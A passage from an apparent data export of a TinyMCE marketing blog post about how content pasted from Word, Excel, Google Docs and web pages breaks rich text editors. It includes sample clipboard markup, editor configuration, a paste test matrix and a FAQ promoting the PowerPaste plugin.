href=\"https://www.tiny.cloud/docs/tinymce/latest/security/#configuring-content-security-policy-csp-for-tinymce\" target=\"_blank\" rel=\"noopener\">CSP directives TinyMCE needs</a>.</p>\n<p><img src=\"https://images.ctfassets.net/s600jj41gsex/2itwAOtVHVONfKBI0hWhmC/30d31400090faa6eef0af59cc03b7740/-thu-08-rich-text-editor-paste-problems-03-source-code-unsafe-sample.webp\" alt=\"\" width=\"1900\" height=\"1040\" /></p>\n<h2>7. The same paste behaves differently across browsers and platforms</h2>\n<p>What reaches your code depends on the browser, the clipboard API, the operating system, and even how the document was opened. A fix verified on one machine can fail on the next.</p>\n<p>The API alone changes the payload. In the synchronous <code>paste</code> event, <code>clipboardData.getData('text/html')</code> <a href=\"https://lists.w3.org/Archives/Public/public-webapps-github/2023Oct/0534.html\" target=\"_blank\" rel=\"nofollow noopener\">returns unsanitized HTML</a>, as the source app wrote it. <a href=\"https://developer.chrome.com/docs/web-platform/unsanitized-html-async-clipboard\" target=\"_blank\" rel=\"nofollow noopener\">Chrome's asynchronous <code>navigator.clipboard.read()</code></a> sanitizes by default: it strips <code>&lt;script&gt;</code>, <code>&lt;meta&gt;</code>, <code>&lt;head&gt;</code>, and <code>&lt;style&gt;</code> elements and inlines CSS, unless your code asks for unsanitized HTML. The same copy gives two different payloads depending on which path your editor uses. Our earlier post on the <a href=\"https://www.tiny.cloud/blog/new-async-clipboard-api/\" target=\"_blank\" rel=\"noopener\">Async Clipboard API</a> covers how the newer API differs from event-based paste.</p>\n<p>Platform and app quirks add more cases:</p>\n<ul>\n<li><strong>Word Protected View.</strong> On Windows, <a href=\"https://www.tiny.cloud/docs/tinymce/latest/powerpaste-options/#powerpaste_word_import\" target=\"_blank\" rel=\"noopener\">copying from Word 2013 or later in Protected View</a> gives you plain, unformatted text, because of how Protected View interacts with the clipboard.</li>\n<li><strong>Drag and drop.</strong> <a href=\"https://www.tiny.cloud/docs/tinymce/latest/copy-and-paste/#paste_block_drop\" target=\"_blank\" rel=\"noopener\">Browsers don't let editors filter content that's dragged and dropped</a> in the way they filter paste, so TinyMCE offers <code>paste_block_drop</code> to switch drag and drop off when unfiltered content is a risk.</li>\n<li><strong>Images</strong>. Browsers don't hand over pasted images the same way. Since a 2016 WebKit change, Safari turns a pasted image into a blob URL on its own, while other browsers pass the editor the raw image data to convert. A handler that always converts, or never does, breaks images in one of them; PowerPaste checks which case it's in.</li>\n<li><strong>Whitespace.</strong> Spacing doesn't survive reliably either. <a href=\"https://community.nintex.com/archive-25/ootb-rich-text-editor-formatting-issues-4626\" target=\"_blank\" rel=\"nofollow noopener\">Users report words running together</a> after pasting heavily formatted Word content, empty paragraphs arrive as <code>&amp;nbsp;</code>, and tabs need converting in plain-text pastes (TinyMCE turns each tab into four spaces by default, set with <a href=\"https://www.tiny.cloud/docs/tinymce/latest/copy-and-paste/#paste_tab_spaces\" target=\"_blank\" rel=\"noopener\"><code>paste_tab_spaces</code></a>).</li>\n</ul>\n<p>No product team can keep up with this on the side. TinyMCE is built to <a href=\"https://www.tiny.cloud/docs/tinymce/latest/support/#supported-web-browsers\" target=\"_blank\" rel=\"noopener\">handle browser inconsistencies</a> across current Chrome, Edge, Firefox, and Safari, and documents the paste exceptions it can't control, such as Protected View and Excel for the web, so you don't learn about them from support tickets.</p>\n<h2>What to look for in a rich text editor's paste handling</h2>\n<p>If you're choosing an editor rather than building one, these are the requirements the seven failures add up to. Ask every vendor on your shortlist how their editor meets each one, then check the answers with a test matrix like the one below.</p>\n<div align=\"left\">\n<table><colgroup><col /><col /><col /></colgroup>\n<thead>\n<tr>\n<th scope=\"col\">\n<p><strong>Requirement</strong></p>\n</th>\n<th scope=\"col\">\n<p><strong>Why it matters</strong></p>\n</th>\n<th scope=\"col\">\n<p><strong>How TinyMCE handles it</strong></p>\n</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>\n<p>Rebuilds lists and keeps real headings</p>\n</td>\n<td>\n<p>Fake lists and headings break numbering and screen readers</p>\n</td>\n<td>\n<p>PowerPaste rebuilds Word lists as nested <code>&lt;ul&gt;</code>/<code>&lt;ol&gt;</code> and keeps headings; Accessibility Checker flags fake lists, fake headings, and skipped levels</p>\n</td>\n</tr>\n<tr>\n<td>\n<p>Removes Office markup but keeps structure</p>\n</td>\n<td>\n<p>Office styles break emails, PDFs, and your design system</p>\n</td>\n<td>\n<p><code>clean</code> mode keeps headings, lists, and tables and drops inline styles; <code>merge</code> keeps formatting minus invalid and proprietary markup; <code>valid_styles</code> limits which CSS survives</p>\n</td>\n</tr>\n<tr>\n<td>\n<p>Keeps table structure, including merged cells</p>\n</td>\n<td>\n<p>Lost <code>colspan</code> or <code>rowspan</code> puts values under the wrong headers</p>\n</td>\n<td>\n<p>PowerPaste keeps table structure and resolves Excel's class-based styles; <code>table_sizing_mode</code> controls widths; Accessibility Checker flags missing header cells</p>\n</td>\n</tr>\n<tr>\n<td>\n<p>Brings pasted images into your storage</p>\n</td>\n<td>\n<p>Local file paths break, and Base64 blobs bloat your database</p>\n</td>\n<td>\n<p>Pasted images upload through <code>images_upload_url</code> or <code>images_upload_handler</code>; unsupported image paths can be kept for post-processing</p>\n</td>\n</tr>\n<tr>\n<td>\n<p>Treats each source differently</p>\n</td>\n<td>\n<p>Word, Google Docs, Outlook, and web HTML each need their own rules</p>\n</td>\n<td>\n<p>Separate <code>powerpaste_word_import</code>, <code>powerpaste_googledocs_import</code>, and <code>powerpaste_html_import</code> settings, plus <code>paste_preprocess</code> and <code>paste_postprocess</code> hooks for your own rules</p>\n</td>\n</tr>\n<tr>\n<td>\n<p>Sanitizes pasted HTML by default</p>\n</td>\n<td>\n<p>The clipboard is an XSS vector</p>\n</td>\n<td>\n<p><code>DOMParser</code> plus DOMPurify, with <code>xss_sanitization</code> on by default and sandboxed iframes; documented CSP directives; Tiny recommends server-side filtering as a second layer</p>\n</td>\n</tr>\n<tr>\n<td>\n<p>Lets you vary paste rules by user or field</p>\n</td>\n<td>\n<p>Authors, admins, and short fields need different behavior</p>\n</td>\n<td>\n<p><code>powerpaste_word_import</code> <a href=\"https://www.tiny.cloud/docs/tinymce/latest/powerpaste-options/#powerpaste_word_import\" target=\"_blank\" rel=\"noopener\">accepts a function</a>, so the mode can depend on role; <code>paste_as_text</code> forces plain text per instance</p>\n</td>\n</tr>\n<tr>\n<td>\n<p>Behaves consistently across browsers</p>\n</td>\n<td>\n<p>Platform quirks otherwise surface as support tickets</p>\n</td>\n<td>\n<p>Supports current Chrome, Edge, Firefox, and Safari, and documents exceptions such as Protected View and Excel for the web</p>\n</td>\n</tr>\n</tbody>\n</table>\n</div>\n<p>Meeting those requirements in TinyMCE takes a few lines of configuration:</p>\n<pre class=\"language-javascript\">tinymce.init({\n  selector: '#editor',\n  plugins: 'powerpaste lists table image',\n  powerpaste_word_import: 'clean',          // keep headings, lists, tables; drop Word styling\n  powerpaste_googledocs_import: 'clean',\n  powerpaste_html_import: 'clean',\n  images_upload_url: '/api/editor-images',  // pasted images end up in your storage\n  table_sizing_mode: 'relative'\n  // xss_sanitization is on by default\n});</pre>\n<p>The parsing, list rebuilding, and per-source rules live in the editor, and keeping them current as Word and Google Docs change is Tiny's job rather than your team's.</p>\n<h2>How to test any editor's paste handling before you commit</h2>\n<p>Test pasting across a range of real-world scenarios. Run it against every editor on your shortlist during the proof of concept, starting with the <a href=\"https://www.tiny.cloud/tinymce/features/powerpaste/#powerpaste-demo\" target=\"_blank\" rel=\"noopener\">PowerPaste demo</a>, then keep it as a regression suite after you choose: replay saved clipboard payloads automatically in CI and do a real-copy pass from the actual apps before each release.</p>\n<div align=\"left\">\n<table><colgroup><col /><col /><col /></colgroup>\n<thead>\n<tr>\n<th scope=\"col\">\n<p><strong>Source</strong></p>\n</th>\n<th scope=\"col\">\n<p><strong>What to copy</strong></p>\n</th>\n<th scope=\"col\">\n<p><strong>What to check</strong></p>\n</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>\n<p>Word (Windows and Mac)</p>\n</td>\n<td>\n<p>Nested bulleted and numbered lists, styled and hand-formatted headings, a bold run, an image</p>\n</td>\n<td>\n<p>Real nested <code>&lt;ul&gt;</code>/<code>&lt;ol&gt;</code>, one <code>&lt;h1&gt;</code> at most, no bullet glyphs, image uploaded rather than inlined</p>\n</td>\n</tr>\n<tr>\n<td>\n<p>Word with review history</p>\n</td>\n<td>\n<p>A paragraph with tracked changes and a comment</p>\n</td>\n<td>\n<p>No reviewer names, comments, or deleted text in the result</p>\n</td>\n</tr>\n<tr>\n<td>\n<p>Long Word document</p>\n</td>\n<td>\n<p>50 pages with screenshots</p>\n</td>\n<td>\n<p>Editor stays responsive; images uploaded; paste time recorded</p>\n</td>\n</tr>\n<tr>\n<td>\n<p>Images across browsers</p>\n</td>\n<td>\n<p>The same screenshot, pasted in Safari and in Chrome</p>\n</td>\n<td>\n<p>Same stored result in both: an uploaded image, no blob or data URL left behind</p>\n</td>\n</tr>\n<tr>\n<td>\n<p>Excel</p>\n</td>\n<td>\n<p>Table with merged header cells and a currency column</p>\n</td>\n<td>\n<p><code>colspan</code>/<code>rowspan</code> kept, styling matches your policy</p>\n</td>\n</tr>\n<tr>\n<td>\n<p>Google Docs</p>\n</td>\n<td>\n<p>Paragraph with partial bold, a link, a small table</p>\n</td>\n<td>\n<p>No <code>&lt;b&gt;</code> wrapper, bold as <code>&lt;strong&gt;</code>, link intact</p>\n</td>\n</tr>\n<tr>\n<td>\n<p>Outlook</p>\n</td>\n<td>\n<p>Customer email with a signature and colored text</p>\n</td>\n<td>\n<p>No hard-coded colors or fonts unless your policy allows them</p>\n</td>\n</tr>\n<tr>\n<td>\n<p>Web page</p>\n</td>\n<td>\n<p>Article with site styles and an embedded video</p>\n</td>\n<td>\n<p>No foreign classes, iframe sandboxed</p>\n</td>\n</tr>\n<tr>\n<td>\n<p>AI chat tool</p>\n</td>\n<td>\n<p>Answer with a list and a code block</p>\n</td>\n<td>\n<p>Markdown and HTML both convert to the same structure</p>\n</td>\n</tr>\n<tr>\n<td>\n<p>Hostile page</p>\n</td>\n<td>\n<p>Script, event-handler, and <code>javascript:</code> URL samples</p>\n</td>\n<td>\n<p>No handlers, scripts, or <code>javascript:</code> URLs survive</p>\n</td>\n</tr>\n</tbody>\n</table>\n</div>\n<p>Run the matrix in Chrome, Edge, Firefox, and Safari, on both Windows and macOS. For automated runs, save each source's <code>text/html</code> as a fixture and replay it through the editor's real paste path:</p>\n<pre class=\"language-javascript\">// Replay a saved clipboard fixture through the editor's paste handling\nasync function replayPaste(editor, html, text = '') {\n  const data = new DataTransfer();\n  data.setData('text/html', html);\n  data.setData('text/plain', text);\n  editor.getBody().dispatchEvent(\n    new ClipboardEvent('paste', { clipboardData: data, bubbles: true, cancelable: true })\n  );\n  await new Promise((resolve) =&gt; setTimeout(resolve, 500));\n  return editor.getContent();\n}</pre>\n<p>Set your paste mode explicitly in the test configuration so no formatting prompt blocks the run, and compare the returned HTML against an approved snapshot. Synthetic events don't reproduce operating-system clipboard quirks, so keep the manual pass.</p>\n<p>Two more tests can help catch issues you might otherwise miss. Run a roundtrip: paste, save, reload, and compare the structure (lists, headings, merged cells) rather than raw HTML strings, because some damage only appears after storage. Then measure paste in production: log the HTML size before and after cleaning, and tag paste-related support tickets, so you can show whether paste quality improves release by release.</p>\n<h2>What paste handling costs when you own it</h2>\n<p>Paste handling is never finished. Word, Excel, and Google Docs change their output, browsers change their clipboard APIs, and every regression reaches you as a support ticket. The real decision is who maintains the pipeline.</p>\n<p>It's tempting to hand the job to an AI coding assistant. A generated paste handler will strip some tags and pass a demo, but it won't know that Word encodes list levels in <code>mso-list</code> styles, that Google Docs wraps everything in a bold tag, or that Protected View hands you plain text. Edge cases like these are where rich text editing gets expensive, and a general-purpose AI tool doesn't cover them.</p>\n<p><a href=\"https://www.tiny.cloud/customer-stories/hype-innovation-case-study/\" target=\"_blank\" rel=\"noopener\">HYPE Innovation</a>, which builds innovation management software, learned this the hard way. Customers kept running into formatting problems when they pasted text from Microsoft Word into the rich text editor in HYPE's product, and fixing them consumed developer and support time. Senior software developer Simon Reinhardt summed up the turning point: \"We reached a point where we received another support request and thought, what else can we do? Should we continue investing in this?\" After moving to TinyMCE with PowerPaste, HYPE reports 50% fewer text-editing support tickets and estimates it saves 20 developer days a year.</p>\n<p>Owning paste means owning every new Word build and every Google Docs change, indefinitely. TinyMCE has spent <a href=\"https://www.tiny.cloud/enterprise-rich-text-editor/\" target=\"_blank\" rel=\"noopener\">roughly two decades</a> on these edge cases, and <a href=\"https://www.tiny.cloud/legal/tiny-self-hosted-enterprise-agreement/\" target=\"_blank\" rel=\"noopener\">Tiny's self-hosted Enterprise agreement</a> commits to a four-hour response, within service hours, for issues that make effective use of the editor impossible. If you'd rather put numbers on the build option, see our <a href=\"https://www.tiny.cloud/blog/copy-paste-function-cost-estimate/\" target=\"_blank\" rel=\"noopener\">clean copy-paste function cost estimate</a>, which breaks down the engineering effort.</p>\n<h2>Final thoughts</h2>\n<p>Paste failures are predictable. They fall into the seven patterns above and show up in the first week of real use. Each one is solvable; the hard part is that all seven need solving at once, and they keep changing.</p>\n<p>Before your next release, try this: copy one nested list, one table with merged cells, and one image from Word, Excel, and Google Docs into your editor, then open the HTML source. Count the problems. Then paste the same content into the <a href=\"https://www.tiny.cloud/tinymce/features/powerpaste/#powerpaste-demo\" target=\"_blank\" rel=\"noopener\">PowerPaste demo</a> and compare the source view. The difference tells you whether paste is a feature you want to own.</p>\n<p class=\"css-ngpmkc\" style=\"color: white; display: block; text-align: center; font-size: 1.3rem; height: auto; text-transform: initial;\"><a style=\"color: white;\" href=\"https://www.tiny.cloud/get-tiny/\" target=\"_blank\" rel=\"noopener\">Get TinyMCE</a></p>\n<h2>FAQ</h2>\n<h3>What does TinyMCE do on paste without PowerPaste?</h3>\n<p>TinyMCE has <a href=\"https://www.tiny.cloud/docs/tinymce/latest/copy-and-paste/\" target=\"_blank\" rel=\"noopener\">built-in paste handling</a> for general HTML. It includes plain-text paste (<code>paste_as_text</code>), smart paste that turns pasted URLs into links or images, control over pasted data-URI images (<code>paste_data_images</code>), and <code>paste_preprocess</code> and <code>paste_postprocess</code> hooks for your own filtering. Built-in paste also sanitizes: in our test it stripped event handlers, <code>javascript:</code> links, and scripts, and <code>xss_sanitization</code> is on by default. PowerPaste adds the source-specific cleanup for Microsoft Word, Microsoft Excel, and Google Docs, plus the choice to clean or merge styles.</p>\n<h3>Which TinyMCE plans include PowerPaste?</h3>\n<p>PowerPaste is a premium plugin, so it isn't part of the free core editor. It's included in the Professional and Enterprise plans, and every plan comes with a 14-day trial of all advanced features, so you can run the test matrix against your own documents before you commit. See <a href=\"https://www.tiny.cloud/pricing/\" target=\"_blank\" rel=\"noopener\">TinyMCE pricing</a> for current plans.</p>\n<h3>Can we force plain-text paste for some fields?</h3>\n<p>Yes. Set <code>paste_as_text: true</code> on the editor instances where formatting shouldn't survive, such as titles or short descriptions, and users can still toggle the Paste as text item in the Edit menu. The trade-off is that lists, links, and tables arrive as plain lines of text, so keep rich paste for fields where structure matters.</p>\n<h3>Does PowerPaste handle Excel for the web and Google Sheets?</h3>\n<p>Not fully. Because of <a href=\"https://www.tiny.cloud/docs/tinymce/latest/introduction-to-powerpaste/\" target=\"_blank\" rel=\"noopener\">limitations in Excel for the web</a> (part of Office Live), PowerPaste doesn't support pasting from it, and users get a plain-text version of the content. Copying from Google Sheets <a href=\"https://www.tiny.cloud/docs/tinymce/latest/powerpaste-support/\" target=\"_blank\" rel=\"noopener\">may work but isn't officially supported</a>. The documented test targets are Word and Excel versions under Microsoft mainstream support or provided by Office 365, and the latest version of Google Docs.</p>\n<h3>When should we replace our editor instead of patching paste?</h3>\n<p>When paste fixes keep coming back. The signs are familiar: the same Word or Google Docs bugs return after source-app updates, your team maintains separate cleanup rules for each source, security reviews keep flagging the paste path, or the editor stalls on long documents. At that point paste is an ongoing maintenance cost rather than a one-off fix, and moving to an editor with maintained paste handling is often the cheaper path. HYPE Innovation made that switch and halved its text-editing support tickets.</p>","childMarkdownRemark":{"html":"<p><a href=\"https://stackoverflow.com/questions/2176861\" target=\"_blank\" rel=\"nofollow noopener\">One of the most-viewed Stack Overflow questions about handling paste</a> was asked in 2010 with over 515,000 views. Developers keep coming back to it because paste is where a \"simple\" rich text editor stops being simple. The demo works until real users paste rich text from Word, Excel, Google Docs, and the browser tab next door. Then lists flatten, tables lose their borders, images vanish, and support tickets pile up. Here are seven paste failures that show up in production, the clipboard payload behind each one, and what it takes to handle them.</p>\n<aside class=\"tny-kt\" aria-labelledby=\"tny-kt-title\">\n<p id=\"tny-kt-title\" class=\"tny-kt__title\"><strong>Key takeaways</strong></p>\n<ul class=\"tny-kt__list\" role=\"list\">\n<li><strong>Paste is the one input your editor doesn't control.</strong> Every rich text editor paste brings in HTML written by Word, Excel, Google Docs, Outlook, web pages, or AI tools, and each writes it differently.</li>\n<li><strong>Seven failures show up in production:</strong> lists and headings, Office markup, tables, images, source dialects, unsafe markup, and browser and platform differences.</li>\n<li><strong>The damage lands downstream,</strong> in emails, PDFs, accessibility, and support tickets, long after the paste.</li>\n<li><strong>Production paste is a pipeline:</strong> detect the source, clean it, map it to your content model, sanitize it, upload images, and check again on the server.</li>\n<li><strong>TinyMCE runs that pipeline in the editor.</strong> PowerPaste cleans and rebuilds Word, Excel, Google Docs, and HTML content as standard HTML, DOMPurify sanitization is on by default, and HYPE Innovation reports 50% fewer text-editing support tickets after switching.</li>\n</ul>\n</aside>\n<figure class=\"image\"><img src=\"https://images.ctfassets.net/s600jj41gsex/2O7nc6pKYlXgMYz1NoE9EP/d253b03979ffff00086bcb4f1490b7a3/rich-text-paste-problems-in-production-1.webp\" alt=\"\" width=\"1600\" height=\"838\" />\n<figcaption spellcheck=\"false\" data-qb-tmp-id=\"lt-864757\" data-gramm=\"false\"></figcaption>\n</figure>\n<h2>Why paste is the input you don't control</h2>\n<p>Production paste is what happens when real users copy formatted content from the tools they work in such as Word, Excel, Google Docs, and Outlook, and paste it into your product. This guide is for engineering managers, senior front-end engineers, and product managers whose product embeds a rich text editor for knowledge base articles, support replies, emails, learning content, or other end user-facing HTML. It covers paste in current desktop versions of Chrome, Edge, Firefox, and Safari.</p>\n<p>When an end user types, every character goes through your editor's own commands, so the output matches your formatting rules. Paste is different. Your editor receives HTML written by another application, for another renderer, with its own idea of what a list or a table is.</p>\n<p>One copy action puts several formats on the clipboard at once: typically <code>text/plain</code> and <code>text/html</code>, and often image data or RTF. Your code picks a format in the <code>paste</code> event, usually <code>text/html</code> because it carries the structure users expect to keep, and then has to translate it into your markup. If your editor is built directly on <a href=\"https://www.tiny.cloud/blog/using-html-contenteditable/\" target=\"_blank\" rel=\"noopener\">contenteditable</a> and doesn't handle paste, the browser inserts that foreign markup more or less as it arrived.</p>\n<p>Do-it-yourself paste handling gets complicated fast. <a href=\"https://stackoverflow.com/a/6804718\" target=\"_blank\" rel=\"nofollow noopener\">The top-voted answer on that Stack Overflow question</a> includes a fallback that lets the browser paste into the element, then checks the DOM every 20 milliseconds to find out what arrived.</p>\n<p>Handling copy and paste properly takes a pipeline, not a cleanup function. In a production editor, it runs in six steps:</p>\n<ol>\n<li><strong>Detect the source.</strong> Word, Excel, Google Docs, Outlook, and web pages each need different rules.</li>\n<li><strong>Clean and convert source markup:</strong> drop what has no meaning on the web and rebuild what does, such as lists, headings, and tables, as standard HTML.</li>\n<li><strong>Map the result to your content model,</strong> so only the elements, classes, and styles your product allows survive. If that concept is new to your team, start with <a href=\"https://www.tiny.cloud/blog/html-content-models/\" target=\"_blank\" rel=\"noopener\">HTML content models</a>.</li>\n<li><strong>Sanitize</strong> against an allowlist so nothing executable gets through.</li>\n<li><strong>Move images into your storage</strong> instead of keeping local file paths or inline Base64 data.</li>\n<li><strong>Check again on the server</strong> before content is stored, emailed, or rendered.</li>\n</ol>\n<p>In TinyMCE, PowerPaste does much of this before content reaches the editor. It detects the source, <a href=\"https://www.tiny.cloud/docs/tinymce/latest/powerpaste-options/#powerpaste_word_import\" target=\"_blank\" rel=\"noopener\">removes invalid and proprietary styles, tags, and attributes</a>, and rebuilds structures such as Word lists from scratch: a conversion from Word's document model to HTML, not a cleanup pass. TinyMCE's <a href=\"https://www.tiny.cloud/docs/tinymce/latest/content-filtering/\" target=\"_blank\" rel=\"noopener\">content filtering</a> (<code>valid_elements</code>, <code>valid_styles</code>) then applies your product's rules, DOMPurify sanitizes the result, and your image upload handler takes care of images. The <a href=\"https://www.tiny.cloud/docs/tinymce/latest/powerpaste-options/#paste_preprocess\" target=\"_blank\" rel=\"noopener\"><code>paste_preprocess</code> and <code>paste_postprocess</code></a> hooks let you add rules specific to your product. The last step stays on your server, as Tiny's own security guidance recommends.</p>\n<p><img src=\"https://images.ctfassets.net/s600jj41gsex/6nShARWhUmHru1T6Yyl6sc/81687ce29d71cc95294136cfdf465f76/rich-text-paste-problems-in-production-2.webp\" alt=\"\" width=\"1600\" height=\"1072\" /></p>\n<p>To show what each failure looks like in code, we rebuilt typical Word, Excel, Google Docs, and Outlook clipboard content and replayed them through <a href=\"https://www.tiny.cloud/tinymce/features/powerpaste/\" target=\"_blank\" rel=\"noopener\">PowerPaste</a> on the public demo in the TinyMCE documentation (TinyMCE 8.9 and 8.10 October 2026). These are simplified reconstructions, and real clipboard output varies by app version, so treat the results as illustrations. You can repeat the experiment with your own documents in the <a href=\"https://www.tiny.cloud/tinymce/features/powerpaste/#powerpaste-demo\" target=\"_blank\" rel=\"noopener\">PowerPaste demo</a>.</p>\n<h2>1. Lists and headings pasted from Word arrive as styled paragraphs</h2>\n<p>Word doesn&rsquo;t put <code>&lt;ul&gt;</code> or <code>&lt;ol&gt;</code> on the clipboard. It sends paragraphs styled to look like a list, with the bullet typed out as a character. An editor that keeps that markup ends up with a fake list: users can&rsquo;t indent or renumber it, and screen readers don&rsquo;t announce it as a list.</p>\n<p>Those paragraphs are only half of the clipboard payload. Word sends a complete HTML document, not a fragment: a <code>&lt;head&gt;</code> whose <code>&lt;style&gt;</code> block holds the list definitions (the bullet or number format and indent for each level), and a <code>&lt;body&gt;</code> whose paragraphs only point at those definitions through <code>mso-list</code>. <a href=\"https://learn.microsoft.com/en-us/windows/win32/dataxchg/html-clipboard-format\" target=\"_blank\" rel=\"nofollow noopener\">Windows&rsquo; HTML clipboard format</a> carries that context around the copied fragment. Neither half makes sense on its own.</p>\n<p>Here&rsquo;s a short two-level bulleted list as Word puts it on the clipboard, cut down to the parts that matter:</p>\n<pre class=\"language-markup\">&lt;head&gt;&lt;style&gt;\n@list l0:level1 {mso-level-number-format:bullet; mso-level-text:\\F0B7; text-indent:-.25in;}\n@list l0:level2 {mso-level-number-format:bullet; mso-level-text:o; text-indent:-.25in;}\n&lt;/style&gt;&lt;/head&gt;\n&lt;body&gt;\n&lt;p class=MsoListParagraphCxSpFirst style='text-indent:-.25in;mso-list:l0 level1 lfo1'&gt;\n  &lt;![if !supportLists]&gt;&lt;span style='font-family:Symbol'&gt;&middot;&lt;span style='font:7.0pt \"Times New Roman\"'&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;![endif]&gt;\n  Approve the release notes&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;\n&lt;p class=MsoListParagraphCxSpMiddle style='margin-left:1.0in;text-indent:-.25in;mso-list:l0 level2 lfo1'&gt;\n  &lt;![if !supportLists]&gt;&lt;span style='font-family:\"Courier New\"'&gt;o&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;![endif]&gt;\n  Check the changelog links&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;\n&lt;p class=MsoListParagraphCxSpLast style='text-indent:-.25in;mso-list:l0 level1 lfo1'&gt;\n  &lt;![if !supportLists]&gt;&lt;span style='font-family:Symbol'&gt;&middot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;![endif]&gt;\n  Publish&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;\n&lt;/body&gt;</pre>\n<p>The issues are familiar to anyone who has supported an editor: stray &ldquo;&middot;&rdquo; or &ldquo;o&rdquo; characters at the start of lines, nested items flattened to a single level, numbered lists restarting at 1 after a sub-list, and one list split into two. <a href=\"https://mailman.oxygenxml.com/hyperkitty/list/oxygen-user@oxygenxml.com/message/PISIZGWR6PR46LBJN4UDSMAE6G5WPUJT\" target=\"_blank\" rel=\"nofollow noopener\">Forum threads</a> have described numbered Word paragraphs arriving with literal numbers rather than as list elements since at least 2011.</p>\n<p>A production paste handler has to read both halves together, match each paragraph&rsquo;s <code>mso-list</code> level to its list definition, rebuild real nested lists, and drop the bullet-glyph spans. That&rsquo;s a conversion from Word&rsquo;s document model to HTML, not a cleanup pass. In our test, the Word payload came back like this:</p>\n<pre class=\"language-markup\">&lt;ul&gt;\n  &lt;li&gt;Approve the release notes\n    &lt;ul style=\"list-style-type: circle;\"&gt;\n      &lt;li&gt;Check the changelog links&lt;/li&gt;\n    &lt;/ul&gt;\n  &lt;/li&gt;\n  &lt;li&gt;Publish&lt;/li&gt;\n&lt;/ul&gt;</pre>\n<p>And a two-level bulleted list is the easy case. Multi-level numbering with custom indents, a list that continues after an interrupting paragraph, lists inside table cells, numbering that restarts or starts above 1, a line break inside a list item: each is another set of rules a paste handler has to get right.</p>\n<p>PowerPaste produced that output, and in our tests it handled the harder cases too: the list type followed Word&rsquo;s list definitions rather than the typed bullet, a list starting at 3 came back as <code>&lt;ol start=\"3\"&gt;</code>, numbering continued after an interrupting paragraph while a separate list restarted at 1, and lists inside table cells came through intact.</p>\n<figure class=\"image\"><img src=\"https://images.ctfassets.net/s600jj41gsex/7mG8j51DGumFzdqEzof1Oc/f06153cca10be9f46f50686485d34d04/rich-text-paste-problems-in-production-3.webp\" alt=\"\" width=\"1600\" height=\"761\" />\n<figcaption></figcaption>\n</figure>\n<p>Headings break in two ways. Text an author formatted by hand, bold and 14 point, arrives as a paragraph that only looks like a heading, so it never reaches your table of contents or a screen reader&rsquo;s list of headings. Text that uses Word&rsquo;s built-in heading styles does arrive as heading elements, which means a pasted Heading 1 can add a second &lt;h1&gt; to a page whose template already has one, or skip a level in your outline.</p>\n<p>TinyMCE&rsquo;s <a href=\"https://www.tiny.cloud/docs/tinymce/latest/a11ychecker/\" target=\"_blank\" rel=\"noopener\">Accessibility Checker</a> covers what paste can&rsquo;t decide for you. It flags paragraphs used as headings, skipped heading levels, and paragraphs that start with bullet characters or numbers instead of using list markup. To stop a pasted Heading 1 from competing with your page title, limit the allowed heading levels with content filtering or demote <code>&lt;h1&gt;</code> to <code>&lt;h2&gt;</code> in a <code>paste_postprocess</code> callback.</p>\n<h2>2. Office markup bloats your HTML and breaks it downstream</h2>\n<p>Word's clipboard HTML carries far more than content: <code>Mso*</code> classes, <code>mso-*</code> style properties, <code>&lt;o:p&gt;</code> tags, conditional comments, and a font declaration on almost every span. Stored as-is, that markup overrides your product's CSS today and breaks whatever consumes the HTML tomorrow.</p>\n<p>A single sentence with one bold phrase looks like this:</p>\n<pre class=\"language-markup\">&lt;p class=MsoNormal&gt;&lt;span style='font-size:11.0pt;font-family:\"Calibri\",sans-serif;\nmso-fareast-font-family:Calibri;mso-bidi-font-family:Arial'&gt;Our refund window is\n&lt;b style='mso-bidi-font-weight:normal'&gt;30 days&lt;/b&gt;.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;</pre>\n<p>The cost shows up later and somewhere else. Inline fonts fight your site and email templates, proprietary tags trip up strict renderers, and nested spans pile up with every edit. <a href=\"https://idealab.foundant.com/forums/965822-smartsimple-idea-lab/suggestions/51102478-rich-text-fields-built-in-cleanse-formatting-bu\" target=\"_blank\" rel=\"nofollow noopener\">Users of one grants platform</a> reported that pasted Word content, full of deeply nested spans and Office-specific styles, was breaking PDF conversions. That's why we treat <a href=\"https://www.tiny.cloud/blog/html-compliance/\" target=\"_blank\" rel=\"noopener\">HTML compliance</a> as most important for content that leaves your editor: emails, PDFs, knowledge base articles, and pages rendered by other systems.</p>\n<p>The same markup overrides your design system. Hard-coded fonts and colors ignore your type scale and theme, so \"why does this paragraph look different?\" becomes a recurring ticket, and a dark-blue text color that reads fine on white can become illegible in dark mode or fail contrast requirements. In our test with an Outlook-style email, \"Keep formatting\" kept <code>color: #1F3864</code> on every line, while \"Remove formatting\" returned plain paragraphs with only the bold claim number intact.</p>\n<p>Word content can also carry review history. Comments and tracked changes travel with copied text, and <a href=\"https://erinwrightwriting.com/copy-and-paste-text-with-comments-and-track-changes-in-word/\" target=\"_blank\" rel=\"nofollow noopener\">Word attaches the reviewer's user name or initials to them</a>. In a web editor, that can put an internal note or a struck-through draft figure into published content. In our test, PowerPaste removed a Word comment and its anchor. Treat revision markup as a policy decision: if your product should never store it, ask authors to accept or reject changes before copying, or drop <code>&lt;del&gt;</code> elements and unwrap <code>&lt;ins&gt;</code> in a <code>paste_postprocess</code> callback.</p>\n<p>PowerPaste is built for this exactly. It automatically <a href=\"https://www.tiny.cloud/docs/tinymce/latest/introduction-to-powerpaste/\" target=\"_blank\" rel=\"noopener\">cleans up content pasted from Microsoft Word, Microsoft Excel, Google Docs, and HTML sources</a>, so your app stores structured HTML instead of Office markup. On the <a href=\"https://www.tiny.cloud/tinymce/features/powerpaste/#powerpaste-demo\" target=\"_blank\" rel=\"noopener\">PowerPaste demo</a>, the same Word document produces 95 lines of HTML without PowerPaste and 59 lines with it, and you can open the source view to compare them yourself. In our test, a 2,433-character Word payload (a heading plus a three-item list) came out of \"Remove formatting\" as about 150 characters of plain, structured HTML.</p>\n<p>The product decision is how much of the user's formatting to keep. Add <code>powerpaste</code> to your 